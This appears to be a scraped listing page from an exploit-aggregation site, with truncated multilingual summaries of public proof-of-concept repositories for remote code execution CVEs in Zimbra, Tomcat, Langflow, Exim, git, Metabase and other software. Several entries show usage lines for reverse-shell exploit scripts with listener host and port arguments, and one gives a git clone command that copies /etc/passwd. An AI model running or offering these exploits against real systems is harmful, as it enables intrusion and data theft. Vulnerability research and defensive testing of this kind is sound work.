CVE-2022-27925-Revshell

Zimbra 未认证远程代码执行漏洞利用 CVE-2022-27925 root@kitploit: / / / / / / / / / / / / / // / / / / / / // / / / // / //// // //.// ,/ CVE-2022-27925 usage: exp.py -h -t TARGET -m MASS -l LHOST -p LPORT options: -h, --help show this help message and exit -t TARGET, --target TARGET URl with protocol HTTPS -m...

SSH-key-and-RCE-PoC-for-CVE-2021-41773

SSH Key and RCE PoC for CVE-2021-41773 This repository contains a Proof-of-Concept PoC for CVE-2021-41773. This CVE exposes a Local File Inclusion LFI and Remote Code Execution RCE vulnerability. Installation Ensure you have Go version 1.23.0 installed. Build the exploit binary with the following...

RCE-CVE-2025-3248

需认证的 CVE-2025-3248 Langflow 远程代码执行 该 Python 脚本利用 CVE-2025-3248 在易受攻击的系统上执行任意命令或生成反向 shell。 使用此漏洞利用需要身份认证 。 功能 已认证的命令执行： 在目标上运行任意系统命令。 反向 Shell： 向你的监听器生成反向 shell。 代理支持： 通过代理（例如 Burp Suite）转发请求。 环境要求 Python 3.x requests 库 使用以下命令安装依赖： root@kitploit: pip install requests 用法 root@kitploit: python3...

CVE-2024-50379

CVE-2024-50379 CVE-2024-50379 是一个影响 Apache Tomcat 的严重安全漏洞，允许攻击者利用错误配置或安全弱点执行远程代码（RCE）。一旦被利用，该漏洞可能导致服务器被接管、数据泄露或权限提升。 本仓库的目标是详细分析该漏洞、研究其利用方式，并提出修复措施以保护系统。 注意：所有内容仅供研究和教育目的。请勿用于非法用途。嘿嘿 即将推出的内容 -CVE-2024-50379 技术分析 -利用方式与影响 -概念验证（PoC）模拟 -如何保护系统免受此漏洞侵害...

CVE-2021-40444

CVE-2021-40444 completamente armado Generador de docx malicioso para explotar CVE-2021-40444 ejecución remota de código en Microsoft Office Word, funciona con archivos DLL arbitrarios. Antecedentes Aunque hay muchos PoC por ahí en internet, decidí probar suerte armando esta vulnerabilidad, ya que...

tomcat-cluster-session-sync-exp

工具仅用于安全研究以及内部自查，禁止使用工具发起非法攻击，造成的后果使用者负责 tomcat cluster sync-session 利用exp 这是一个tomcat使用了自带session同步功能时，不安全的配置（没有使用EncryptInterceptor）导致存在的反序列化漏洞，通过精心构造的数据包， 可以对使用了tomcat自带session同步功能的服务器进行攻击。 使用 先编译出jar包： root@kitploit: mvn clean compile assembly:assembly 生成jar包存在于target目录下 使用，例： root@kitploit: ja...

CVE-2023-38646

CVE-2023-38646 概念验证（PoC） 描述 这是一个用于利用 Metabase（一款开源商业智能和数据分析工具）的概念验证（PoC）脚本。Metabase 允许用户可视化并交互式地处理其数据，使其成为强大的数据分析平台。 该漏洞编号为 CVE-2023-38646，允许攻击者在无需任何身份验证的情况下在服务器上执行任意命令。此缺陷的影响十分严重，因为它以服务器的特权级别授予了对服务器的未授权访问权限。 概念验证（PoC）步骤 克隆此仓库 root@kitploit: git clone...

CVE-2025-3616

Metasploit 模块: Greenshift WordPress 插件任意文件上传漏洞 CVE-2025-3616 此仓库包含一个 Metasploit 模块，用于利用 CVE-2025-3616 ，这是 Greenshift WordPress 插件（版本 11.4 至 11.4.5）中的一个任意文件上传漏洞。 该漏洞利用允许经过身份验证的用户（订阅者及以上）上传任意文件，从而导致远程代码执行（RCE）。它通过使用 GIF 魔法字节（GIF89a;）伪造 MIME 类型来绕过插件的文件类型验证。 功能特点 身份验证处理 ：支持使用现有凭据（USERNAME/PASSWORD）登录...

CVE-2025-55182

CVE-2025-55182 原作者：https://github.com/msanft/CVE-2025-55182 该漏洞允许在 React Server Functions 中实现 RCE，例如 Next.js 通过不安全的原型引用所提供的情况。 我不是 React 或 Next.js 方面的专家，因此请对这里的所有信息持保留态度。 背景 React 提供了 Server Functions1，可以将其视为一种基于 HTTP 的 RPC。它们可用于从相邻对等节点获取数据以确保低延迟，或执行客户端缺乏凭据的认证请求。 React 使用所谓的 React Flight Protocol...

activemq-rce-cve-2023-46604

README 针对 CVE-2023-46604 的简单分析 https://thinkycx.me/2024-04-19-activemq-cve-2023-46604-analysis.html...

CVE-2023-51385-

RCE mediante /.ssh/config inseguro El uso de tokens como %h, %p es bastante popular para utilizar túneles y proxy de conexión mediante SSH ProxyCommand. Configuración vulnerable host .example.com ProxyCommand /usr/bin/nc -X connect -x 192.0.2.0:8080 %h %p Nota: en mi evaluación inicial, tenía la...

Blackash-CVE-2025-20393

🛡️ CVE-2025-20393 – Vulnerabilidad crítica en Cisco AsyncOS 🔍 Descripción general CVE‑2025‑20393 es una vulnerabilidad crítica de ejecución remota de código RCE en el software Cisco AsyncOS , que afecta a: Cisco Secure Email Gateway físico y virtual Cisco Secure Email and Web Manager físico y...

CVE-2018-6789-Python3

CVE-2018-6789 Exim 4.90.1 Vulnerabilidad RCE Exim 4.90.1 Vulnerabilidad RCE remezcla para Python3 con argumentos pasados desde la línea de comandos Uso: python3 exim.py -t localhost -p 25 -lh 192.168.0.159 -lp 1337...

CVE-2025-2294

CVE-2025-2294 Introducción CVE-2025-2294 es una vulnerabilidad crítica de tipo Local File Inclusion LFI en el plugin Kubio AI Page Builder para WordPress. La vulnerabilidad permite a un atacante remoto no autenticado enviar un parámetro especialmente manipulado, lo que provoca que el plugin inclu...

cve-2019-11447

CVE-2019-11447 CutePHP Cute News 2.1.2 RCE PoC Objetivo : 2.1.2 Este script de PoC está basado en una implementación simple del exploit original por BobbySox. El exploit original es un módulo MSF por Akuss. Este script necesita la dirección IP o dominio del objetivo junto con credenciales, y...

CVE-2020-7961-payloads

CVE-2020-7961-payloads 在 Liferay Portal 7.2.1 CE GA2 之前版本中，对不可信数据的反序列化允许远程攻击者通过 JSON Web 服务 JSONWS 执行任意代码。 步骤1 在 LifExp.java 中编写你的 payload 步骤2 使用 javac 编译 步骤3 设置你的日志服务器（也许你想用 "Burp Collaborator Client"） 步骤4 运行 poc.py ....享受吧 ; 😇 poc 代码由 mzer0one 编写 🙏 https://github.com/mzer0one/CVE-2020-7961-POC...

CVE-2017-14105

Aerohive HiveManager Classic 权限提升漏洞 名称 Aerohive HiveManager Classic 权限提升漏洞 受影响系统 HiveManager Classic 8.0r1 8.1r1 严重程度 中等 6.6/10 影响 CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:L/E:H/RC:C 供应商 http://www.aerohive.com/ 公告 http://www.ush.it/team/ush/hack-aerohive/aerohive-priv-exec.txt 作者 Sandro "guly"...

CVE-2017-1000117

git-client-rce 此 PoC 仅用于教育目的！！！ 用于 git-client-rce PoC CVE-2017-1000117 的测试 GIT 仓库 https://marc.info/?l=git&m=150238802328673&w=2 此 CVE 影响所有版本低于 v2.14.1 的 git 客户端 在测试系统上执行以下命令以查看 PoC： $git clone --recursive https://github.com/thelastbyte/CVE-2017-1000117.git 执行成功后会将 /etc/passwd 的内容复制到 /tmp/pwned.t...

CVE-2023-4169_CVE-2023-3306_CVE-2023-4415

Ruijie-RG-EW1200G CVE-2023-4169CVE-2023-3306CVE-2023-4415 1. RG-EW1200G后台远程代码执行漏洞CVE-2023-3306 2. CVE-2023-4169 未授权任意密码修改CVE-2023-4169 3. 锐捷RG-EW1200G 登录绕过CVE-2023-4415 Atención 我开发了一个用于本地测试和POC开发的工具，仅供技术学习参考。请不要将其用于非法目的。个人或组织使用本文提供的信息所造成的任何直接或间接后果和损失均由用户自行负责，与作者无关！！！ He desarrollado una...

roundcube-cve-2025-49113-lab

"免责声明：仅供教育用途" Roundcube Webmail 远程代码执行 – CVE-2025-49113 实验室 本仓库记录了我在受控实验室中逐步利用 Roundcube Webmail CVE-2025-49113 以获取存储在 /secret.txt 中秘密的过程。 ⚠️ 免责声明 所有工作均针对我拥有测试授权的实验室/训练环境进行。 请勿 将这些技术用于你不拥有或未管理权限的系统。 挑战 Roundcube Webmail 是一款基于浏览器、开源的 PHP 电子邮件客户端，通过 IMAP 连接邮箱并通过 SMTP 发送邮件。它通常运行在 Apache 或 Nginx 上，配合...